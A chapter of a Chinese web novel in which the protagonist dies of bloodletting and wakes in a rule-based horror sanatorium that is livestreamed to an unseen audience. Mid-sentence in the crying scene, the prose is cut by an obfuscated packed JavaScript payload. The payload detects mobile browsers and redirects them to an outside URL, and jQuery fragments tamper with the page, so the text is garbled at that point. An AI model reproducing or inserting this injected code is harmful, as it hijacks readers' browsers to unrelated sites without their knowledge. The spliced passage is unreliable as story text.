刀尖刺入皮肤的那一刻，疼，但比想象中轻。


    林越脑子里闪过一个不合时宜的念头：这疼感评级大概在“被A4纸划伤手指”和“打针扎进静脉”之间。然后是温热的液体流出来，滴进汉斯准备好的碗里。


    滴答。


    滴答。


    滴答。


    节奏很稳，像老式挂钟在走。汉斯的手很稳，刀口位置精准，血管切开后血液流出的速度控制得恰到好处——从专业角度看，这确实是二十年经验积累的技术。


    “感觉怎么样？”汉斯的声音从遥远的地方传来，“头晕是正常的，血液流出会带走多余的‘热质’，平衡你的□□。”


    林越想点头，但脖子动不了。高烧让身体像被灌了铅，每个关节都沉重得抬不起来。他只能盯着天花板的横梁，木纹在烛光里扭曲成奇怪的图案。


    血液流出的声音在寂静的诊所里格外清晰。


    滴答。


    滴答。


    滴答。


    时间感变得很奇怪。每一秒都拉得很长，长到能数清每次心跳；但又好像过得很快，快到意识抓不住任何具体的念头。


    “失血速度控制在每分钟三十滴左右，”汉斯还在讲解，语气里带着职业自豪，“太快会引发休克，太慢效果不好。这个节奏是我父亲传下来的，他治好了镇上……”


    后面的话听不清了。


    林越的注意力被手腕上的热度吸引。最后一道红痕还在发烫，但热度正在减弱，像电池耗尽前最后几次闪烁。他能感觉到生命力随着血液一起流失——不是抽象的概念，是真实的、具体的流失。


    身体在变冷。


    不是温度计测量的那种冷，是从骨髓深处渗出来的寒意。像冬天把手伸进冰水里，先是刺痛，然后是麻木，最后连痛感都消失，只剩下空洞的冷。


    呼吸变得困难。


    每一次吸气都像在吸棉花，空气进不到肺里。他想调整呼吸节奏，但大脑发不出指令。身体各个系统在陆续关机：先是四肢，然后是呼吸肌，最后大概是心脏。


    “系统资源耗尽，”林越脑子里跳出程序员思维，“强制关机程序启动。”


    这比喻挺贴切。身体就像一台过载的服务器，CPU占用率100%，内存溢出，硬盘读写速度归零。现在管理员（他自己）按下了关机键，系统开始执行关闭流程。


    先是外围设备：手指、脚趾失去知觉。


    然后是核心进程：心跳变得不规则，呼吸变浅。


    最后是操作系统本身：意识开始碎片化。


    汉斯还在说话，但声音越来越远，像隔着厚玻璃。


    “……通常放四盎司就够了，但你感染严重，可能要多放一些……”


    林越听不清具体内容，只能捕捉到零碎的词：平衡、热质、治愈、明天。


    明天。


    明天他会在哪？


    手腕上的红痕最后闪了一下，像坏掉的指示灯在断电前的最后挣扎。然后彻底暗了。


    不是变淡，不是消失，是“暗了”——就像屏幕突然断电，从亮到暗只在瞬间。


    红痕消失的瞬间，林越脑子里闪过一些碎片：


    第一次死亡，食物中毒。躺在破庙地上，肚子疼得像被绞肉机搅过。死前最后的念头是：“以后吃东西前得先问问有没有营业执照……”


    第二次死亡，鼠疫感染。在废弃柴房里等死，高烧让世界变成扭曲的色块。死前想的是：“跳蚤这玩意儿，比甲方还难缠……”


    现在是第三次。


    放血疗法。用bug修复bug的典范。


    “死亡报告草稿，”林越在意识最后一线想，“死因：过度信任‘专家建议’。建议：下次遇到推荐放血的，跑，别回头。就算对方拿出二十年经验数据，也跑。”


    然后连这个念头也碎了。


    意识像被打散的拼图，碎片在空中悬浮，然后被吸进某个黑洞。


    没有黑暗。


    没有虚无。


    没有“死后世界”的经典描写。


    只有切换。


    像视频剪辑里的硬切，前一帧还是中世纪诊所的烛光，下一帧——


    ——


    白色天花板。


    日光灯管发出轻微的嗡嗡声。


    空气里有消毒水的味道。


    林越睁开眼睛。


    花了三秒钟确认自己还活着——或者说，以某种形式存在着。又花了五秒钟确认这不是中世纪诊所。


    天花板是现代的石膏板，日光灯管是标准的T8规格，消毒水味道浓得呛鼻。身下是硬邦邦的病床，身上盖着白色被单。


    他躺在一间病房里。


    单人间，窗户拉着米色窗帘，床头柜上放着水杯和……一张纸？


    林越慢慢坐起来。身体没有疼痛，没有高烧，没有伤口感染。一切都消失了，像被重置到出厂设置。只有大脑还留着刚才的记忆：汉斯的放血刀，滴答的血液声，红痕最后闪烁。


    他低头看手腕。


    干干净净，什么都没有。三道红痕全部消失，连痕迹都没留下。


    “所以，”林越开口，声音有点哑，“这就是红痕用尽后的‘惩罚’？”


    他环顾病房。房间不大，十平米左右，陈设简单：病床、床头柜、一把椅子、一个衣柜。墙壁刷成淡绿色，地面是浅色瓷砖。窗户关着，窗帘拉得严实，看不到外面。


    床头柜上那张纸吸引了他的注意。


    林越伸手拿过来。是A4打印纸，上面用标准宋体打印着几行字：


    《“安静”的疗养院》入住须知


    欢迎入住303号病房。为确保您的疗养效果，请务必遵守以下规则：


    1. 疗养院作息时间为6:00-22:00，请在此期间保持安静。


    2. 医护人员穿白色制服。如果看到穿蓝色制服的人，请不要与他们对视，立即返回病房锁门。


    3. 每日三餐会按时送达。如果餐盘里出现红色食物，请勿食用，原封不动放回门口。


    4. 夜间如果听到哭声，请用枕头捂住耳朵，直到哭声停止。


    5. 每日下午3:00-4:00为查房时间，请配合医护人员的检查。


    6. 疗养院内禁止奔跑、喧哗、私自交换物品。


    7. 第七天会有最终评估，通过评估即可出院。


    纸张最下方还有一行小字：


    祝您疗养愉快。


    林越盯着这张纸看了足足一分钟。


    规则怪谈。


    他脑子里跳出这个词。穿越前看过的小说、玩过的游戏、刷过的短视频，所有关于“规则怪谈”的记忆碎片瞬间涌上来。通常流程是：进入某个诡异场所，获得一堆自相矛盾的规则，然后在遵守规则的过程中发现真相，或者死掉。


    “三命通关失败，”林越把纸放回床头柜，靠在枕头上，“强制进入新关卡——这游戏难度曲线不太合理。”


    话虽这么说，他心里反而松了口气。


    至少这里有规则。明确的、写下来的规则。比中世纪那种“专家建议”要清晰得多，也比“四□□说”这种伪科学理论要逻辑得多。


    规则意味着可解析性。


    而解析规则，是程序员的强项。


    林越重新拿起那张纸，开始逐条分析：


    第一条：作息时间。6:00-22:00保持安静。安静的定义是什么？说话算不算安静？走路呢？呼吸呢？


    第二条：医护人员白色制服，蓝色制服要回避。所以存在两种“工作人员”，其中一种有危险。


    第三条：红色食物不能吃。为什么是红色？象征意义？还是实际有毒？


    第四条：夜间哭声。用枕头捂耳朵——意思是不能去查看，也不能回应。


    第五条：查房时间固定。这可能是获取信息的机会。


    第六条：禁止行为。很常规，但“私自交换物品”这条有点奇怪。


    第七条：第七天最终评估。所以这是生存七天制副本。


    林越把纸翻过来，背面是空白的。


    他又检查了床头柜抽屉，空的。衣柜里挂着两套病号服，也是标准款式。房间没有电视，没有电话，没有时钟。


    只有日光灯管的嗡嗡声，和消毒水的味道。


    他下床走到窗边，轻轻拉开窗帘一角。


    外面是灰蒙蒙的天空，看不到太阳，也看不到云层具体的形状。疗养院院子里有草坪，修剪得很整齐，但没有人。远处能看到其他楼栋，也都是同样的淡绿色外墙。


    整个环境透着一股……刻意的平静。


    太安静了，安静得不自然。没有鸟叫，没有风声，连远处应有的城市噪音都没有。就像被罩在玻璃罩里的模型。


    林越放下窗帘，回到床边坐下。


    手腕上红痕消失的地方，皮肤光滑如初，连一点痕迹都没留下。但他能感觉到某种变化——不是生理上的，是认知上的。


    三次死亡，三道红痕，用尽了。


    现在他在这里，“安静”的疗养院，规则怪谈世界。


    “至少比放血疗法强，”林越自言自语，“至少这里的规则是写下来的，不是靠‘二十年经验’瞎猜。”


    话音刚落，房间里的光线突然暗了一下。


    不是灯泡闪烁，是整个环境的光线变暗，像有人调低了世界的亮度。持续了大概两秒，然后又恢复正常。


    同时，林越听到了一种声音——


    不是从门外传来的，也不是从窗外。


    是从……脑子里？


    机械的、不带感情的女声，用标准的播音腔说道：


    【观众连接中……】


    【连接成功】


    【当前在线观众：1,243人】


    【欢迎来到《“安静”的疗养院》副本直播】


    【您的当前任务：存活七天】


    【祝您游戏愉快】


    声音消失。


    林越坐在床上，一动不动。


    过了五秒，他开口：


    “……直播？”


    他等了一会儿，看会不会有更多声音。没有。脑子里一片寂静，就像刚才的机械女声从未出现过。


    “所以不只是规则怪谈，”林越总结，“还是直播副本。有观众，有在线人数，有任务提示。这配置比中世纪齐全多了。”


    他尝试在脑子里想：“观众能听到我说话吗？”


    没有回应。


    “能发弹幕吗？”


    还是没回应。


    “打赏功能怎么用？”


    一片安静。


    林越放弃了。看来这个“观众系统”是单向的，他只能接收基础信息，不能互动。至少现在不能。


    他把注意力转回现实。现在是……什么时候？


    房间里没有钟，窗外看不到太阳，无法判断具体时间。但根据规则第一条，作息时间是6:00-22:00。如果他刚进来时是“开始时间”，那现在应该是白天。


    林越决定做第一次试探：打开房门。


    他走到门边，握住门把手。金属把手冰凉，转动顺畅。门没锁。


    他拉开一条缝，先往外看。


    走廊很长，两边都是同样的淡绿色墙壁和浅色瓷砖地面。天花板每隔一段距离就有一盏日光灯，全都亮着，发出均匀的白光。走廊两边排列着门，门牌号从301开始，顺序排列。


    他所在的303号病房在走廊中间位置。


    走廊里没有人。安静得能听到日光灯的嗡嗡声。


    林越把门开大一些，侧身走出去。脚踩在地砖上发出轻微的摩擦声，在寂静的走廊里显得格外清晰。


    他回头看了眼门牌：303。门上有个小窗口，玻璃是磨砂的，看不清里面。门把手下面有个钥匙孔，但他没有钥匙。


    “所以门可以从里面打开，但不能从外面锁？”林越试了试，确实，门内侧有简单的旋钮锁，门外侧需要钥匙。


    他关上门，但没有锁。万一需要快速撤回，锁门会耽误时间。


    现在，探索走廊。


    林越先往左走。301、302……都是紧闭的门。他试着推了推301的门，锁着的。302也是锁着的。


    走到走廊尽头，是一扇双开的大门，门上挂着牌子：活动室。


    门是玻璃的，能看到里面。房间很大，摆着几张桌子椅子，墙上挂着电视（黑屏），角落里有一台饮水机。房间里空无一人。


    林越推了推门，没锁。他走进去。


    活动室比病房宽敞得多，至少有五十平米。除了桌椅和电视，靠墙还有一排书架，上面摆着些旧杂志和书籍。窗户很大，能看到院子里的草坪。


    林越走到书架前扫了一眼。杂志都是过期的，最晚的是三年前的。书籍种类很杂：养生保健、小说、旅游指南、菜谱。他抽出一本小说，翻了两页，又放回去。


    “所以这里确实有人生活过，”林越想，“或者说，扮演过‘患者’的角色。”


    他走到窗边往外看。院子里的草坪修剪得太整齐了，整齐得不自然。没有一片叶子超出范围，没有一根杂草。就像用PS处理过的图片。


    远处能看到疗养院的大门，铁门紧闭。门卫室空着。


    整个场景透着一股……样板间的味道。一切都是标准的、规范的、但缺乏生活痕迹。


    林越在活动室里转了一圈，没发现什么特别的东西。正准备离开时，他听到走廊里传来脚步声。


    很轻，但确实有。从右边传来的。


    他走到活动室门口，探头往外看。


    走廊那头，有个人影正在走过来。


    是个男人，大概四十多岁，穿着病号服，走路姿势有点僵硬。他低着头，嘴里念念有词，像是在数数。


    林越站在原地，等对方走近。


    男人走到活动室门口时，突然抬头看了林越一眼。眼神很空，像没睡醒。然后他又低下头，继续往前走，嘴里继续数：“……一百二十七、一百二十八……”


    林越看着他走过，没出声。


    男人走到305号病房门口，推门进去，关上门。


    整个过程自然得像日常流程。


    林越等了几秒，确定走廊里再没其他人，才走回303。他脑子里复盘刚才的观察：


    第一，有其他“患者”。至少有一个。


    第二，患者状态不太正常。机械化的行为，空洞的眼神。


    第三，患者能自由活动，没有被限制在房间里。


    这给了林越一些信息，但也带来了更多问题：其他患者是NPC，还是和他一样的“玩家”？如果是玩家，为什么行为这么奇怪？如果是NPC，他们的作用是什么？


    回到303房间，林越关上门，靠在门后思考。


    就在这时，他听到了一种声音。


    从隔壁304房间传来的。


    很轻的、压抑的哭声。


    女人的哭声。


    林越立刻想起规则第四条：夜间如果听到哭声，请用枕头捂住耳朵，直到哭声停止。


    但现在不是夜间——至少窗外还有光线，走廊灯也亮着。而且规则没说白天听到哭声怎么办。


    哭声持续着，断断续续，像是有人捂着脸在哭。


    林越犹豫了几秒，决定暂时按兵不动。规则怪谈的经典套路：贸然行动往往触发死亡flag。他需要更多信息。


    他走到墙边，把耳朵贴上去听。


    哭声更清晰了。确实是从304传来的，是个年轻女人的声音，哭得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223621|195946||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    很伤心，但又不敢大声，只能压抑着抽泣。


    同时，林越脑子里又响起了机械女声：


    【当前在线观众：1,247人】


    【弹幕：隔壁在哭诶】


    【弹幕：新人不去看看？】


    【弹幕：规则四说了晚上不能理，现在是白天】


    【弹幕：白天哭了咋办？规则没写】


    声音只持续了五秒左右，然后消失。


    林越愣了愣。


    弹幕？观众发的弹幕？他能看到？


    他尝试在脑子里“调出”弹幕界面，但没反应。看来这个观众系统是随机推送的，不能主动控制。


    不过刚才的信息很有用：观众知道规则，而且观众认为现在是“白天”。这说明林越的判断正确，作息时间内的确是白天。


    另外，观众提到了关键点：规则四只说了“夜间”听到哭声的处理方法，没提白天。这是规则漏洞，还是故意的陷阱？


    哭声还在继续。


    林越决定做第二次试探。他轻轻敲了敲墙壁。


    三下，间隔均匀。


    哭声突然停了。


    几秒后，墙壁被敲了三下作为回应。同样的节奏。


    林越又敲了两下。


    对面回应了两下。


    简单的信号确认：对方能听到，有意识，能回应。


    林越走到门边，犹豫要不要去304看看。但规则第六条禁止“私自交换物品”，去隔壁房间算不算“私自交换”？规则没明确说。


    而且，万一对方不是“患者”呢？万一是陷阱呢？


    就在他犹豫时，走廊里传来了另一种声音。


    脚步声。


    但不是刚才那个数数男人的脚步声。这脚步声更重，更规律，还伴随着……轮子滚动的声音？


    林越从门上的小窗往外看。


    走廊那头，走过来两个人。


    都穿着白色制服——医护人员。一个推着餐车，另一个拿着记录板。餐车上摆着餐盘，用保鲜膜盖着。


    查房时间？不对，规则第五条说查房时间是下午3:00-4:00。现在不知道具体时间，但应该不是。


    两个医护人员走到301门口，停下。拿记录板的那个敲门，等了几秒，推门进去。推餐车的等在门口。


    一分钟后，医护人员出来，走向302。


    重复流程。


    林越看了看自己房间。303，马上就到。


    他快速回到床边坐下，摆出“标准患者”姿态：靠在床头，表情平静，眼神放空——模仿刚才那个数数男人。


    几秒后，敲门声响起。


    “303，送餐。”门外传来女声，很平淡，没有感情。


    林越没说话。


    门被推开。两个医护人员走进来。


    推餐车的那个是女性，三十多岁，面无表情。拿记录板的是男性，同样面无表情。两人都穿着标准的白色医护制服，胸口别着工牌，但距离太远看不清名字。


    女护士把餐车推到床边，拿起一个餐盘放在床头柜上。保鲜膜下面能看到食物：米饭、青菜、一点肉，还有一碗汤。


    颜色正常，没有红色食物。


    男护士在记录板上写了什么，然后看向林越：“姓名？”


    林越顿了顿，报出真名：“林越。”


    “入院时间？”


    “……今天。”


    男护士又写了几笔，然后说：“规则看了吗？”


    “看了。”


    “遵守规则，好好疗养。”机械化的台词，“有问题按呼叫铃。”


    林越看了眼床头，确实有个红色按钮，之前没注意到。


    “现在是几点？”他问。


    男护士看了眼手表：“上午十一点二十。午餐时间十二点，这是提前送来的。吃完了把餐盘放门口，会有人收。”


    说完，两人转身离开，推着餐车去304。


    门关上。


    林越看着床头柜上的餐盘，又看看门，再看看墙壁。


    隔壁的哭声已经停了。


    他掀开保鲜膜。食物看起来正常，闻起来也正常。但他不打算吃——至少不打算现在吃。规则没说必须吃，只说红色食物不能吃。


    他把餐盘放到地上，离自己远一点。


    然后他躺回床上，盯着天花板。


    信息汇总：


    有医护人员（白色制服），行为机械化，像是执行固定程序。


    有其他患者，状态异常。


    有观众系统，能偶尔看到弹幕。


    有规则漏洞（白天哭声如何处理）。


    时间系统存在（上午十一点二十）。


    送餐流程固定。


    林越闭上眼睛，整理思路。


    这就是惩罚世界。“安静”的疗养院。规则怪谈加直播。


    生存七天，通过评估。


    听起来简单，但他知道肯定没这么简单。规则里必然藏着矛盾，环境里必然藏着危险，医护人员必然藏着秘密。


    而他，只有在中世纪世界用三条命换来的经验：对危险医疗的警惕，对卫生条件的敏感，对“专家建议”的怀疑。


    这些经验在这里有用吗？


    至少，让他不会轻易相信“疗养院是为了你好”这种话。


    林越重新坐起来，走到窗边，再次拉开窗帘。


    灰蒙蒙的天空，整齐的草坪，空无一人的院子。


    远处，疗养院大门依旧紧闭。


    但他注意到一个细节：大门旁边的门卫室，窗户后面好像有个人影。


    很模糊，距离太远看不清。但确实有东西在动。


    林越眯起眼睛想看得更清楚，但就在这时——


    房间里的光线又暗了一下。


    同时，机械女声在脑子里响起：


    【当前在线观众：1,302人】


    【弹幕：新人挺冷静啊】


    【弹幕：居然没吃送来的饭】


    【弹幕：隔壁304那个女的天天哭】


    【弹幕：提示：蓝色制服今天还没出现】


    声音消失。


    林越记住了最后一条弹幕。


    蓝色制服今天还没出现。


    也就是说，蓝色制服会出现，而且观众知道会出现的时间或规律？


    这算不算“场外提示”？观众在帮他？


    还是说，这是规则的一部分：观众可以通过弹幕提供有限信息？


    林越不知道。但他记下了这个信息。


    他回到床边，再次拿起那张规则纸，重新看第七条：


    7. 第七天会有最终评估，通过评估即可出院。


    出院之后呢？回到现实世界？还是进入下一个世界？


    他不知道。但他有预感：这个惩罚世界不会简单放过他。


    三次死亡换来的入场券，代价已经付了。现在，他得在这个“安静”的疗养院里，找到生存七天的办法。


    而且，他隐隐觉得，这里藏着某个秘密。


    关于轮回的秘密。


    关于为什么他会不断穿越的秘密。


    关于红痕、惩罚世界、观众系统的秘密。


    “那就来吧，”林越把规则纸折好，放进病号服口袋，“让我看看，这个疗养院到底有多‘安静’。”


    他走到门边，再次打开门。


    走廊里，日光灯依旧亮着，发出均匀的白光。


    远处，活动室的门开着。


    更远处，走廊尽头的楼梯间，门半掩着。


    林越站在303门口，没有立刻出去。


    他在等。


    等下一个声音。


    等下一个变化。


    等这个“安静”的疗养院，露出它的第一颗獠牙。